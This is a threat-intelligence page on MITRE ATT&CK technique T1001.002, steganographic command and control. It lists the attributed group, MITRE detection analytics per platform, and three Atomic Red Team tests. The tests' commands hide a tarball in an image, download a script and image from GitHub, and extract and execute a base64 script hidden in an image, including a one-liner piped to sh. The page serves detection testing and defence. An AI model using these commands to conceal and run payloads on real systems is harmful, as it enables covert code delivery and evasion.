tfMITRE ATT&CK sub-technique

Steganography T1001.002

Tactic: Command and Control
Platforms: Linux, macOS, Windows, ESXi
Version: 1.1
Created: 15 March 2020
Last modified: 24 October 2025

Adversaries may use steganographic techniques to hide command and control traffic to make detection efforts more difficult. Steganographic techniques can be used to hide data in digital messages that are transferred between systems. This hidden information can be used for command and control of compromised systems. In some cases, the passing of files embedded using steganography, such as image or document files, can be used for command and control.

ReconResource DevInitial AccessExecutionPersistencePriv EscStealthDef ImpairmentCred AccessDiscoveryLateral MoveCollectionC2ExfiltrationImpact

Threat groups45th pct

Threat groups45th percentile · 55% of ATT&CK techniques have more threat groups attributed.

Campaigns72nd pct

Campaigns72nd percentile · 72% of ATT&CK techniques have this many campaigns recorded or fewer.

Tools & malwareTop 24%

Tools & malware76th percentile · 76% of ATT&CK techniques have this many tools implementing them or fewer.

Detection rulesNone recorded

Detection rulesNone recorded · 33% of ATT&CK techniques have none either.

Steganography MITRE reference T1001.002

45th pctamong all ATT&CK techniques for number of groups

1 group has been recorded using this technique. Newest first; each entry carries MITRE’s procedure text and a link to the group’s full record. Click a name to filter the rules below.

AxiomG0001 ↗

Has used steganography to hide its C2 communications.1

created 2017-05-311 referenceaka Group 72

All 1 groups for this technique

Offense vs defense T1001.002

Is defensive coverage keeping up with adversary use? Eight counts, each ranked against all 697 ATT&CK techniques. Attack sits left, defense right, so a shape leaning left means adversaries are better documented here than defenders are equipped. Hover any spoke for its percentile and the share of techniques that have more. The timeline below shows when each side arrived.

Steganography detection strategy DET0235

MITRE names one behaviour worth catching for this technique and breaks it into 4 analytics, one per platform. Each carries the log sources it needs and the fields you tune per environment.

Detecting Steganographic Command and Control via File + Network Correlation

Enterprise

4 platforms

AN0651 · Windows

Detect the creation or modification of common media file formats (e.g., .jpg, .png, .wav) following suspicious process activity like compression or encryption, especially when paired with lateral movement or exfiltration behavior.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	WinEventLog:Sysmon	EventCode=1
File CreationDC0039	WinEventLog:Sysmon	EventCode=11
Network Connection CreationDC0082	WinEventLog:Sysmon	EventCode=3, 22
Network Traffic ContentDC0085	NSM:Flow	Session Transfer Content

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
FileExtensionFilter	Allows tuning of monitored file types (e.g., .jpg, .png, .docx).
PayloadEntropyThreshold	Threshold for flagging potential hidden data in outbound payloads.
ExecutionToExfilTimeWindow	Time window between media creation and network transmission.

AN0652 · Linux

Unusual use of steganographic or media processing binaries (e.g., steghide, ffmpeg, imagemagick) followed by outbound communication to external IPs with high data output and media MIME types.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	auditd:SYSCALL	execve
File MetadataDC0059	NSM:Flow	Observed File Transfers
Network Traffic ContentDC0085	NSM:Flow	Captured File Content

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
ToolNameMatch	Specify which binaries to monitor (e.g., steghide, outguess).
OutboundTrafficPattern	Adjust based on known normal file upload services.

AN0653 · macOS

Abnormal usage of Preview, ImageMagick, or binary editors to alter images/documents, followed by exfiltration or outbound connections with mismatched file MIME types or payload structure.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
Process CreationDC0032	macos:osquery	process_events
File CreationDC0039	macos:unifiedlog	File creation
Network Traffic ContentDC0085	NSM:Flow	C2 exfiltration

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
ParentProcessBaseline	Allow tuning based on expected apps calling image-editing tools.
TimeDelta	Gap between file manipulation and outbound connection.

AN0654 · ESXi

Suspicious modification of file artifacts (e.g., logs, ISO templates) on ESXi datastores, followed by beaconing or POST operations to external IPs potentially hiding payloads in file-like traffic.

Log sources

The data this analytic draws on. You do not need every component — each one you already collect covers part of it. Each links to its ATT&CK record.

Data component	Name	Channel
File MetadataDC0059	esxi:vmkernel	Storage access and file ops
Network Connection CreationDC0082	esxi:hostd	Service initiated connections
Network Traffic ContentDC0085	NSM:Flow	Transferred file observations

Tunable fields

MITRE calls these the analytic’s mutable elements: the thresholds and filters you set for your own environment.

Field	What you tune
FilenamePattern	Tune for likely stego file names (e.g., wallpaper.jpg, template.iso).
UnusualDestinationIP	Destination outside vCenter management subnet.

Tests3ExecutorsPowerShell 2 · sh 1Need elevation2 of 3Have prerequisites2Have cleanup3Platformswindows, linux

Test

Platform

Executor

Elevation

Prereqs

Cleanup

Ref

Steganographic Tarball Embedding

windows

PowerShell

Required

Yes

This atomic test, named "Steganographic Tarball Embedding", simulates the technique of data obfuscation via steganography by embedding a tar archive file (tarball) within an image. The test begins by ensuring the availability of the image file and the tarball file containing data . It then generates random passwords and saves them to a file. Subsequently, the tarball file is created, containing the passwords file. The test executor command reads the contents of the image file and the tarball file as byte arrays and appends them together to form a new image file. This process effectively embeds the tarball file within the image, utilizing steganography techniques for data obfuscation. This atomic test simulates the technique of data obfuscation via steganography, enabling attackers to clandestinely transfer files across systems undetected. By embedding the tarball file within the image, adversaries can obscure their activities, facilitating covert communication and data exfiltration.

Input arguments

Name	Type	Default	Description
tar_file	path	$env:PUBLIC\Downloads\T1001.002.tarz	Tarz file containing random passwords
image_file	path	PathToAtomicsFolder\T1001.002\bin\T1001.002.jpg	Image file which will be downloaded to be used to hide data
new_image_file	path	$env:PUBLIC\Downloads\T1001.002New.jpg	new image file ready for extraction
passwords_file	path	$env:TEMP\random_passwords.txt	Text file containing random passwords

Attack command

Get-Content "#{image_file}", "#{tar_file}" -Encoding byte -ReadCount 0 | Set-Content "#{new_image_file}" -Encoding byte

Cleanup command

Set-ExecutionPolicy Bypass -Scope Process -Force -ErrorAction Ignore
Remove-Item -Path "#{new_image_file}" -Force -ErrorAction Ignore

Prerequisite

Image file must exist

Check

if (!(Test-Path "#{image_file}")) {exit 1} else {
{exit 0}
}

Satisfy

New-Item -Type Directory (split-path "#{image_file}") -ErrorAction ignore | Out-Null
Write-Output "Downloading image file..."
$imageUrl = "https://github.com/raghavsingh7/Pictures/raw/a9617d9fce289909441120a1e0366315c2c5e19d/lime.jpg"
Invoke-WebRequest -Uri $imageUrl -OutFile "#{image_file}"

Prerequisite

File to hide within tarz file must exist

Check

if (!(Test-Path "#{passwords_file}")) {exit 1} else {
{exit 0}
}

Satisfy

Write-Output "Generating random passwords and saving to file..."
$passwords = 1..10 | ForEach-Object { -join ((1..12) | ForEach-Object { @('A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z') + @('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z') + @('0','1','2','3','4','5','6','7','8','9') + @('!','@','#','$','%','^','&','*','(','(',')','-','=','+','_','[',']','{','}','|',';',';',':',',','<','>','?') | Get-Random }) }
$passwords | Out-File -FilePath "#{passwords_file}"

Prerequisite

Tarz file to embed in image must exist

Check

if (!(Test-Path "#{tar_file}")) {exit 1} else {
{exit 0}
}

Satisfy

Write-Output "Generating tarz file..."
tar -cvf "#{tar_file}" "#{passwords_file}"

GUID94cd8109-d99a-4ce6-a2d9-182356fb567b

Embedded Script in Image Execution via Extract-Invoke-PSImage

windows

PowerShell

Required

Yes

This atomic test demonstrates the technique of data obfuscation via steganography, where a PowerShell script is concealed within an image file. The PowerShell script is embedded using steganography techniques, making it undetectable by traditional security measures. The script is hidden within the pixels of the image, enabling attackers to covertly transfer and execute malicious code across systems. The test begins by ensuring the availability of the malicious image file and the Extract-Invoke-PSImage script. The test proceeds to extract the hidden PowerShell script (decoded.ps1) from the image file using the Extract-Invoke-PSImage tool. The extracted script is then decoded from base64 encoding and saved as a separate PowerShell (textExtraction.ps1). Consequently, the textExtraction.ps1 script is executed. In the case of this atomic test, the malicious image file which is downloaded has the powershell command Start-Process notepad embedded within in base64. This is done to emulate an attackers behaviour in the case they were to execute malware embedded within the image file.

Input arguments

Name	Type	Default	Description
image_file	path	PathToAtomicsFolder\T1001.002\bin\evil_kitten.jpg	Malicious Image file which will be downloaded
psimage_script	path	PathToAtomicsFolder\ExternalPayloads\Extract-Invoke-PSImage.ps1	Extract-Invoke-PSImage Script downloaded

Attack command

cd "PathToAtomicsFolder\ExternalPayloads\"
Import-Module .\Extract-Invoke-PSImage.ps1
$extractedScript=Extract-Invoke-PSImage -Image "#{image_file}" -Out "$HOME\result.ps1"
$scriptContent = Get-Content "$HOME\result.ps1" -Raw
$base64Pattern = "(?<=^|[^A-Za-z0-9+/])(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}(==)?|[A-Za-z0-9+/]{3}=)?(?=$|[^A-Za-z0-9+/])"
$base64Strings = [regex]::Matches($scriptContent, $base64Pattern) | ForEach-Object { $_.Value }
$base64Strings | Set-Content "$HOME\decoded.ps1"
$decodedContent = Get-Content "$HOME\decoded.ps1" -Raw
$decodedText = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($decodedContent))
$textPattern = '^.+'  
$textMatches = [regex]::Matches($decodedText, $textPattern) | ForEach-Object { $_.Value }
$scriptPath = "$HOME\textExtraction.ps1"
$textMatches -join '' | Set-Content -Path $scriptPath
. "$HOME\textExtraction.ps1"

Cleanup command

Set-ExecutionPolicy Bypass -Scope Process -Force -ErrorAction Ignore
Remove-Item -Path "$HOME\result.ps1" -Force -ErrorAction Ignore 
Remove-Item -Path "$HOME\textExtraction.ps1" -Force -ErrorAction Ignore
Remove-Item -Path "$HOME\decoded.ps1" -Force -ErrorAction Ignore

Prerequisite

Image file must exist

Check

if (!(Test-Path "#{image_file}")) {exit 1} else {
{exit 0}
}

Satisfy

New-Item -Type Directory (split-path "#{image_file}") -ErrorAction Ignore | Out-Null
Write-Output "Downloading image file..."
$imageUrl = "https://github.com/raghavsingh7/Pictures/raw/f73e7686cdd848ed06e63af07f6f1a5e72de6320/evil_kitten.jpg"
Invoke-WebRequest -Uri $imageUrl -OutFile #{image_file}

Prerequisite

Extract-Invoke-PSImage must exist

Check

if (!(Test-Path "#{psimage_script}")) {exit 1} else {
{exit 0}
}

Satisfy

New-Item -Path "PathToAtomicsFolder\ExternalPayloads\" -ItemType Directory -Force | Out-Null
Write-Output "Downloading Extract-Invoke-PSImage.ps1 script..."
$scriptUrl = "https://github.com/raghavsingh7/Extract-Invoke-PSImage/raw/7d8c165d2f9bfe9c3965181079b7c82e03168ce1/Extract-Invoke-PSImage.ps1"
Invoke-WebRequest -Uri $scriptUrl -OutFile #{psimage_script}

GUIDb83f81c8-aa34-4044-a34b-61291e6f94be

Execute Embedded Script in Image via Steganography

linux

—

Yes

This atomic test demonstrates the execution of an embedded script in an image file using steganography techniques. The script is first encoded in base64 and then embedded within the pixels of the image. The modified image is created, and the script is extracted and executed on the target system.

Input arguments

Name	Type	Default	Description
image	String	PathToAtomicsFolder/image.jpg	Image file to be embedded
script	String	PathToAtomicsFolder/script.sh	Shell Script file to be embedded and executed
evil_image	String	PathToAtomicsFolder/evil_image.jpg	The modified image with embedded script

Attack command

cat "#{script}" | base64 | xxd -p | sed 's/../& /g' | xargs -n1 | xxd -r -p | cat "#{image}" - > "#{evil_image}"; strings "#{evil_image}" | tail -n 1 | base64 -d | sh

Cleanup command

rm "#{evil_image}"

GUID6382432b-48b1-4a23-a14c-6adca59f4f2b

Tests from Atomic Red Team (MIT licence) · technique definition

Steganography detections T1001.002

No detection rules are mapped to this technique yet.

None recorded— 33% of ATT&CK techniques have none either

Drag headers to reorder | Drag edges to resize

Loading detections...

Select	Title	Description	Category	Status	Event	Product	MITRE ATT&CK	CVEs	Severity	Author	Created	Updated	ID	Refs